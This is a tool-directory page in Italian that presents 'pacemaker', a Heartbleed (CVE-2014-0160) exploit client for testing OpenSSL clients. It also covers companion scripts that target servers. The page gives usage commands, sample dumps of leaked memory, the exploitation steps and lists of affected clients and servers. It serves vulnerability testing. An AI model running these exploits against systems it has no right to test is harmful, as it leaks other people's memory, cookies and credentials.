Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pacemaker — Heartbleed (CVE-2014-0160) exploit client | Kitploit
Strumenti/GitHubGitHub/lekensteyn/pacemaker
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza di ReteCrittografiaPenetration Testing
GitHublekensteyn/pacemaker

pacemaker

Heartbleed (CVE-2014-0160) exploit client

Vedi Repository
3307910 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pacemaker

Tenta di abusare dei client OpenSSL vulnerabili a Heartbleed (CVE-2014-0160). Compatibile con Python 2 e 3.

Sono vulnerabile?

Esegui il server:

root@kitploit:~
python pacemaker.py

Nel tuo client, apri https://localhost:4433/ (sostituisci l'hostname se necessario). Per esempio:

root@kitploit:~
curl https://localhost:4433/

Il client fallirà sempre la connessione:

root@kitploit:~
curl: (35) Unknown SSL protocol error in connection to localhost:4433

Se non sei vulnerabile, il server restituisce qualcosa del tipo:

root@kitploit:~
Connection from: 127.0.0.1:40736
Possibly not vulnerable

Se sei vulnerabile, vedrai qualcosa del tipo:

root@kitploit:~
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

Le righe successive piene di byte NUL vengono compresse in una con un * in seguito (come lo strumento xxd).

Un esempio in cui viene trapelata memoria più "interessante" usando wget -O /dev/null https://google.com https://localhost:4433:

root@kitploit:~
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

Come funziona?

I heartbeat TLS possono essere inviati da entrambe le parti di una connessione TLS. Dopo che l'handshake è completato, questi heartbeat sono crittografati. Ma apparentemente OpenSSL permette messaggi heartbeat prima che l'handshake sia completato. Questi heartbeat (sopra il livello record) non sono affatto crittografati!

Questo rende molto facile sfruttare il bug sui client:

  1. Attendi un ClientHello contenente una versione TLS e una suite di cifratura.
  2. Invia un ServerHello contenente la stessa versione TLS e suite di cifratura (per prevenire il fallimento dell'handshake).
  3. A questo punto, il server può inviare tutte le richieste heartbeat che desidera.

Nota che non c'è alcun bisogno di certificati poiché gli heartbeat sono accettati prima che qualsiasi certificato o chiave di cifratura venga scambiata. Poiché la lunghezza delle richieste heartbeat non è controllata, possono essere letti fino a 64 kiB di memoria dalla memoria del client.

pacemaker esegue i passaggi sopra e presume che un client non sia vulnerabile se il passo 3 produce dati diversi da Alert. Se necessario per alcuni protocolli (ad esempio SMTP con STARTTLS), vengono scambiati dati aggiuntivi prima che inizi l'handshake TLS.

Utilizzo avanzato

Esegui ./pacemaker.py -h per maggiori opzioni. Le opzioni più importanti sono probabilmente -t (--timeout) e -x (--count). Il timeout predefinito è di 3 secondi, che dovrebbe essere sufficiente per la maggior parte dei client per rispondere (a meno che non ci sia un collegamento satellitare o qualcosa di simile).

Esempio per essere più paziente per heartbeat (5 secondi) e acquisire quattro risposte heartbeat:

root@kitploit:~
./pacemaker.py -t 5 -x 4

In teoria, gli heartbeat possono ora impiegare venti secondi, ma in pratica otterrai risposte molto più velocemente.

Client testati

I seguenti client sono stati testati contro OpenSSL 1.0.1f su Arch Linux e hanno trapelato memoria prima dell'handshake:

  • MariaDB 5.5.36
  • wget 1.15 (trapela memoria di connessioni precedenti e del proprio stato)
  • curl 7.36.0 (https, FTP/IMAP/POP3/SMTP con --ftp-ssl)
  • git 1.9.1 (testato clone / push, trapela poco)
  • nginx 1.4.7 (in modalità proxy, trapela memoria di richieste precedenti)
  • links 2.8 (trapela il contenuto di visite precedenti!)
  • KDE 4.12.4 (kioclient, Dolphin, testati https e ftps con kde4-ftps-kio)
  • Exim 4.82 (SMTP in uscita)

links è un grande esempio che dimostra l'effetto di questo bug sui client. È un browser testuale che trapela dettagli inclusi header (cookie, token di autorizzazione) e contenuti delle pagine.

Licenza

pacemaker è concesso in licenza sotto la licenza MIT. Vedi il file LICENSE per maggiori dettagli.

heartbleed.py

Questa è un'implementazione che utilizza pacemaker per creare pacchetti. Ha l'avvertenza che le richieste ripetute devono stabilire una nuova connessione per ogni tentativo perché il server resetta immediatamente la connessione dopo la prima risposta heartbeat.

L'avvertenza è una limitazione derivante dall'approccio adottato: se anche il client completasse l'handshake, allora molti handshake crittografati possono essere inviati senza fallimenti di connessione.

heartbleed.py fa parte di pacemaker, quindi ricade sotto gli stessi termini di licenza.

Server testati

I seguenti server sono stati testati contro OpenSSL 1.0.1f su Arch Linux (salvo diversa indicazione):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (FTP esplicito)
  • Exim 4.82 (SMTP)

ssltest.py

Questo repository contiene anche una versione funzionante che prende di mira i server. ssltest.py è stato creato da Jared Stafford ([email protected]), tutti i crediti vanno a lui! È stato recuperato da http://s3.jspenguin.org/ssltest.py.

Al momento, lo script è compatibile solo con Python 2.

Scarica lo strumento